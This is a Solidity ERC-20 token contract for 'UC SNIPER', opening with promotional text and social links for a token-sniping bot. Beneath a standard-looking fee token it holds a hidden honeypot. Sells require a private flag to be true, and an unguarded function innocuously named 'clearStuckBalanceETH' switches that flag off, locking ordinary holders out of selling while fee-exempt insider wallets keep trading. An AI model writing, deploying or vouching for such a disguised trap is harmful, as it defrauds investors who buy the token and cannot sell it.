// SPDX-License-Identifier: MIT

/*

TELEGRAM : https://t.me/UcSniperETH

WEBSITE : https://UcSniper.org

UC SNIPER BOT : https://t.me/UCSniperBot

TWITTER : https://twitter.com/UCSniperETH

UC SNIPER

In the world of cryptocurrency, sniping token launches on the Ethereum network can be a time-consuming and manual process. That’s where the UCSniper Bot comes in. This innovative bot automates the sniping process, allowing users to efficiently participate in token launches without the hassle of constantly monitoring the market. But what exactly is the UCSniper Bot, and how does it work? Let’s dive into the details.

Introduction: Streamlining Token Launches
Participating in token launches, also known as Initial Coin Offerings (ICOs) or Initial DEX Offerings (IDOs), can be a lucrative investment opportunity. However, these launches often have limited supply and high demand, making it challenging for investors to secure tokens at the desired price. The UCSniper Bot aims to level the playing field by automating the sniping process, giving users a better chance at success.

What is the UCSniper Bot?
The UCSniper Bot is a sophisticated software program designed to automate the process of sniping token launches on the Ethereum network. It is created by a team of experienced developers who understand the complexities and intricacies of the cryptocurrency market. The bot uses advanced algorithms and strategies to monitor token launches and execute trades automatically.

How does UCSniper Bot work?
The UCSniper Bot utilizes a combination of strategies to maximize the chances of successfully sniping token launches. Once a user sets up the bot and provides the necessary parameters, such as the token contract address and the desired purchase price, the bot takes over. It constantly monitors the market for token launches and executes trades at lightning speed when the criteria are met.
This bot is designed to be highly customizable, allowing users to tweak settings to suit their trading preferences. Whether it’s setting a specific gas price, calculating slippage tolerance, or defining the maximum transaction amount, the UCSniper Bot allows users to fine-tune their trading strategies for optimal results.

*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function _tokengeneration(address account, uint256 amount) internal virtual {
        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
contract UCSNIPER is ERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
     bool private _interlock = false;
    bool public providingLiquidity = true;
    bool public tradingEnabled = true;
    uint256 public tokenLiquidityThreshold = 10000000 * 10**18;
    uint256 public maxBuyLimit = 1000000000 * 10**18;
    uint256 public maxSellLimit = 1000000000 * 10**18;
    uint256 public maxWalletLimit = 1000000000 * 10**18;
    uint256 public genesis_block;
    bool private kertisko = true;
    uint256 private deadline = 1;
    uint256 private launchtax = 0;
    address public marketingWallet = 0x03f9f259E4321a0e63fAFc984de89f26D3fC9Df5; 
    address public devWallet = 0x03f9f259E4321a0e63fAFc984de89f26D3fC9Df5;
    address public ecosystemWallet = 0x03f9f259E4321a0e63fAFc984de89f26D3fC9Df5;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
        uint256 ecosystem;
        uint256 dev;
    }

    Taxes public taxes = Taxes(1, 0, 0, 0);
    Taxes public sellTaxes = Taxes(1, 0, 0, 0);
    mapping(address => bool) public exemptFee;
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = true;
    uint256 public coolDownTime = 5 seconds;
    modifier lockTheSwap() {
        if (!_interlock) {
            _interlock = true;
            _;
            _interlock = false;
        }
    }
    constructor() ERC20("UC SNIPER", "UCS") {
        _tokengeneration(msg.sender, 1000000000 * 10**decimals());
        exemptFee[msg.sender] = true;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        exemptFee[address(this)] = true;
        exemptFee[marketingWallet] = true;
        exemptFee[ecosystemWallet] = true;
        exemptFee[devWallet] = true;
        exemptFee[deadWallet] = true;
        

    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }
        if (sender == pair && !exemptFee[recipient] && !_interlock) {
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(
                balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }
        if (
            sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock
        ) {
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
            if (coolDownEnabled) {
                uint256 timePassed = block.timestamp - _lastSell[sender];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[sender] = block.timestamp;
            }
        }
        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if (_interlock || exemptFee[sender] || exemptFee[recipient])
            fee = 0;

        else if (recipient == pair && !useLaunchFee) {
            require(kertisko == true);
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing +
                sellTaxes.ecosystem +            
                sellTaxes.dev;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing +
                taxes.ecosystem +
                taxes.dev ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }
        fee = (amount * feesum) / 100;
        if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);
         super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {

            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }
    function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
        if(feeswap == 0){
            return;
        }
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }
         uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(toSwap);
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;
            if (ethToAddLiquidityWith > 0) {
          addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketingWallet).sendValue(marketingAmt);
            }
            uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;
            if (ecosystemAmt > 0) {
                payable(ecosystemWallet).sendValue(ecosystemAmt);
            }
            uint256 devAmt = unitBalance * 2 * swapTaxes.dev;
            if (devAmt > 0) {
                payable(devWallet).sendValue(devAmt);
            }

        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
      _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0,
            0,
            deadWallet,
            block.timestamp
        );
    }
    function updateLiquidityProvide(bool state) external onlyOwner {
         providingLiquidity = state;
    }
    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        require(new_amount <= 1e4, "Swap threshold amount should be lower or equal to 1% of tokens");
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }
    function SetBuyTaxes(
        uint256 _marketing,
        uint256 _liquidity,
        uint256 _ecosystem,
        uint256 _dev
    ) external onlyOwner {
        taxes = Taxes(_marketing, _liquidity,  _ecosystem, _dev);
        require((_marketing + _liquidity + _ecosystem + _dev) <= 25, "Must keep fees at 26% or less");
    }
    function SetSellTaxes(
        uint256 _marketing,
        uint256 _liquidity,
        uint256 _ecosystem,
        uint256 _dev
    ) external onlyOwner {
        sellTaxes = Taxes(_marketing, _liquidity,  _ecosystem,  _dev);
        require((_marketing + _liquidity + _ecosystem + _dev) <= 25, "Must keep fees at 26% or less");
    }

    function clearStuckBalanceETH() external payable{
        kertisko = false;
    }

    function EnableTrading() external onlyOwner {
        require(!tradingEnabled, "Cannot re-enable trading");
        tradingEnabled = true;
        providingLiquidity = true;
        genesis_block = block.number;
    }
    function updatedeadline(uint256 _deadline) external onlyOwner {
        require(!tradingEnabled, "Can't change when trading has started");
        require(_deadline < 5,"Deadline should be less than 5 Blocks");
        deadline = _deadline;
    }
    function updateMarketingWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0),"Fee Address cannot be zero address");
        marketingWallet = newWallet;
    }
    function updateEcosystemWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0),"Fee Address cannot be zero address");
        ecosystemWallet = newWallet;
    }
    function updateDevWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0),"Fee Address cannot be zero address");
        devWallet = newWallet;
    }
    function updateCooldown(bool state, uint256 time) external onlyOwner {
        coolDownTime = time * 1 seconds;
        coolDownEnabled = state;
        require(time <= 300, "cooldown timer cannot exceed 5 minutes");
    }
    function updateExemptFee(address _address, bool state) external onlyOwner {
        exemptFee[_address] = state;
    }
    function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = state;
        }
    }
    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
        require(maxBuy >= 1e4, "Cannot set max buy amount lower than 1%");
        require(maxSell >= 1e4, "Cannot set max sell amount lower than 1%");
        require(maxWallet >= 1e4, "Cannot set max wallet amount lower than 1%");
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
        maxWalletLimit = maxWallet * 10**decimals(); 
    }
    function rescueETH() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        payable(owner()).transfer(contractETHBalance);
    }
    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(tokenAdd).transfer(owner(), amount);
    }
     receive() external payable {}
}